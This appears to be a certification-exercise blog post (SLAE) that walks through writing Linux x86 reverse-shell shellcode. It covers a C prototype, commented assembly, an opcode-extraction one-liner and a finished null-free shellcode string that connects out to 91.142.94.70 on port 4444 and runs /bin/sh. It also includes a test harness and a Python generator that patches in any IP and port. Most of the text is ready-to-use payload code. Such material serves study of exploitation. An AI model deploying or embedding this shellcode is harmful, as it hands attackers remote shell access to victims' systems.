SLAE: Writing shell_reverse_tcp shellcode

Intro

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-924

The task is to create a Shell_Reverse_TCP shellcode:

  • Reverse connects to configured IP and Port
  • Execs shell on successful connection
  • IP and Port should be easily configurable

Reverse shellcode initiates a TCP connection back to the attackers IP address. Opening a TCP connection requires only socket() and connect() syscalls.

That’s how our reverse shell looks like in C:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "192.168.192.13"
#define REMOTE_PORT 4444

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

Creating socket

socket_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP )

sys_socketcall has number 102 and the sys_socket function number is 1

Sample image

So now:

eax <- 0x66
ebx <- 0x1

ecx should contain an arg array {AF_INET, SOCK_STREAM, 0}.

Protocol families can be found in bits/socket.h:

Sample image

SOCK_STREAM = 1
PF_INET = 2

So now we know that arg array should look like {2, 1, 0} To write it in ecx register we will push values in reverse order to the stack and then copying esp into ecx register.

Now our socket creating code looks like:

;sockfd = socket(AF_INET, SOCK_STREAM, 0);
    push BYTE 0x66    ;syscall number of socketcall is 102 (0x66)
    pop eax           ;syscall number moved to eax
    xor edx, edx      ;zero out edx
    xor ebx, ebx      ;zero out ebx
    inc ebx           ;now ebx stores 1 = sys_socket syscall number
    push edx          ;start creating of arg array in reverse order {0, 1, 2}
    push ebx          ;now we pushing 1 to the stack (socket type = 1 = SOCK_STREAM)
    push 0x2          ;pushing 2 to the stack (socket domain = 2 = AF_INET)
    mov ecx, esp      ;copy arg array to ecx
    int 0x80          ;sockfd = socket(AF_INET, SOCK_STREAM, 0)

    xchg edx, eax     ;save socket fd in edx

Connect

    sa.sin_family = AF_INET;
    sa.sin_port = htons(REMOTE_PORT);
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));

sys_connect syscall number is 3 and socketcall is 102.

eax <- 0x66 - socketcall
ebx <- 0x3  - sys_connect
ecx <- (s, (struct sockaddr *)&sa, sizeof(sa))

s - is a socket_descriptor which is stored in eax

sa - is a structure which contains:

AF_INET = 2
REMOTE_PORT = 0x5c11 (port 4444 in reverse order)
REMOTE_ADDR = 0x465e8e5b (91.142.94.70 in hex in reverse order)

sizeof(sa) - 16

Let’s create sa variable. We will push it to the stack in reverse order and then write it to ecx

    push BYTE 0x66           ;socketcall (syscall 102)
    pop eax
    push DWORD 0x465e8e5b    ;push IP-address
    push WORD 0x5c11         ;push port
    inc ebx                  ;now ebx = 2
    push word bx             ;push AF_INET = 2
    mov ecx, esp             ;save it in ECX register

Now we will create and call connect() function.

    push 0x10       ;sizeof structure (16)
    push ecx        ;pushing sa structure created above
    push edx        ;pushing socket descriptor created in the first step
    mov ecx, esp    ;saving all parameters for connect()
    inc ebx         ;now ebx = 3 (sys_connect number)
    int 0x80        ;call connect

Redirect I/O

Standart input, standart output and standart error - three standart file descriptors used by programs to perform I/O. We will swap the standart input, output and error of the spawned shell with the connected socket file descriptor.

dup2 - special system call for duplicating file descriptors.

Sample image

;dup2(client_fd, 0)
;dup2(client_fd, 1)
;dup2(client_fd, 2)
    xchg ebx, edx    ;move connected socket fd in ebx

    mov al, 0x3f     ;dup2 syscall number #63
    xor ecx, ecx     ;ecx now contains 0 - standart input
    int 0x80         ;dup(client_fd, 0)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 1 - standart output
    int 0x80         ;dup(client_fd, 1)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 2 - standart error
    int 0x80         ;dup(client_fd, 2)

Calling execve /bin/sh

;execve("/bin/sh", NULL, NULL)
    mov al, 11         ;execve syscall number 11
    xor edx, edx       ;zero out edx
    xor ecx, ecx       ;zero out ecx
    push edx           ;push some nulls for string termination
    push 0x68732f2f    ;push "//sh" to the stack
    push 0x6e69622f    ;push "/bin" to the stack
    mov ebx, esp       ;put the address of "/bin//sh" into ebx via esp
    push edx           ;push 32-bit null terminator to stack
    mov edx, esp       ;empty array for envp
    push ebx           ;push string addr to stack above null terminator
    mov ecx, esp       ;argv array with string pointer
    int 0x80           ;execve("/bin//sh", ["/bin//sh", NULL], [NULL])

That’s how stack should looks like:

Sample image

Big picture

Now our shellcode looks like:

global _start

section .text
_start:

;sockfd = socket(AF_INET, SOCK_STREAM, 0);
    push BYTE 0x66    ;syscall number of socketcall is 102 (0x66)
    pop eax           ;syscall number moved to eax
    xor edx, edx      ;zero out edx
    xor ebx, ebx      ;zero out ebx
    inc ebx           ;now ebx stores 1 = sys_socket syscall number
    push edx          ;start creating of arg array in reverse order {0, 1, 2}
    push ebx          ;now we pushing 1 to the stack (socket type = 1 = SOCK_STREAM)
    push 0x2          ;pushing 2 to the stack (socket domain = 2 = AF_INET)
    mov ecx, esp      ;copy arg array to ecx
    int 0x80          ;sockfd = socket(AF_INET, SOCK_STREAM, 0)

    xchg edx, eax     ;save socket fd in edx

;sa.sin_family = AF_INET
;sa.sin_port = htons(REMOTE_PORT)
;sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR)

    push BYTE 0x66           ;socketcall (syscall 102)
    pop eax
    push DWORD 0x465e8e5b    ;push IP-address 91.142.94.70
    push WORD 0x5c11         ;push port 4444
    inc ebx
    push word bx             ;push AF_INET = 2
    mov ecx, esp             ;save it in ECX register

;connect(s, (struct sockaddr *)&sa, sizeof(sa))

    push 0x10       ;sizeof structure (16)
    push ecx        ;pushing sa structure created above
    push edx        ;pushing socket descriptor created in the first step
    mov ecx, esp    ;saving all parameters for connect()
    inc ebx         ;now ebx = 3
    int 0x80        ;call connect

;dup2(client_fd, 0)
;dup2(client_fd, 1)
;dup2(client_fd, 2)

    xchg ebx, edx    ;move connected socket fd in ebx

    mov al, 0x3f     ;dup2 syscall number #63
    xor ecx, ecx     ;ecx now contains 0 - standart input
    int 0x80         ;dup(client_fd, 0)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 1 - standart output
    int 0x80         ;dup(client_fd, 1)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 2 - standart error
    int 0x80         ;dup(client_fd, 2)

;execve("/bin/sh", NULL, NULL)

    mov al, 11         ;execve syscall number 11
    xor edx, edx       ;zero out edx
    xor ecx, ecx       ;zero out ecx
    push edx           ;push some nulls for string termination
    push 0x68732f2f    ;push "//sh" to the stack
    push 0x6e69622f    ;push "/bin" to the stack
    mov ebx, esp       ;put the address of "/bin//sh" into ebx via esp
    push edx           ;push 32-bit null terminator to stack
    mov edx, esp       ;empty array for envp
    push ebx           ;push string addr to stack above null terminator
    mov ecx, esp       ;argv array with string pointer
    int 0x80           ;execve("/bin//sh", ["/bin//sh", NULL], [NULL])

Let’s compile it!

nasm -f elf32 -o shellcode.o shellcode.nasm

ld -o shellcode shellcode.o

objdump -d shellcode -M intel

Seem’s like there is no any null-bytes:

Sample image

Let’s extract the opcodes:

objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

That’s it!

"\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

We will use shellcode.c template:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Let’s compile it and RUN!

gcc shellcode.c -z execstack
./a.out

Sample image

Seems fine.

Make it configurable

But there is one more requirement: IP address and port should be easy configurable.

I created python script which generates shellcode with a IP address and port specified and checks if any null bytes appears in shellcode after changing IP address and port number.

import sys

byte_string = ""
counter = 0
result_port = ""
result_ip = ""

if (len(sys.argv) < 2):
    print "Enter the IP address and port number"
else:
    ip = sys.argv[1]
    ip_array = ip.split('.')
    for i in ip_array:
        hex_ip = hex(int(i))[2:]
        result_ip += "\\x" + hex_ip
    port = int(sys.argv[2])
    if ((port < 1) or (port > 65535)):
        print "Enter valid port number:"
    else:
        hex_port = hex(port)[2:]
        for i in hex_port:
            byte_string += i
            counter += 1
            if counter == 2:
                result_port += "\\x" + byte_string
                byte_string = ""
                counter = 0
        if "\\x0" in result_port:
            print "Shellcode contains null bytes! Choose another port"
        elif "\\x0" in result_ip:
            print "Shellcode contains null bytes! Choose another IP address"
        else:
            print result_ip
            print result_port
            print ("\\x6a\\x66\\x58\\x31\\xd2\\x31\\xdb\\x43\\x52\\x53\\x6a"
            "\\x02\\x89\\xe1\\xcd\\x80\\x92\\x6a\\x66\\x58\\x68" + result_ip +
            "\\x66\\x68" + result_port + "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51"
            "\\x52\\x89\\xe1\\x43\\xcd\\x80\\x87\\xda\\xb0\\x3f\\x31\\xc9\\xcd"
            "\\x80\\xb0\\x3f\\x41\\xcd\\x80\\xb0\\x3f\\x41\\xcd\\x80\\xb0\\x0b"
            "\\x31\\xd2\\x31\\xc9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62"
            "\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80")

Let’s generate shellcode which will connect to 91.142.94.70 and port 5555:

Sample image

shellcode.c now looks like this:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x15\xb3\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Compile it and run:

gcc shellcode.c -z execstack
./a.out

It works!

Sample image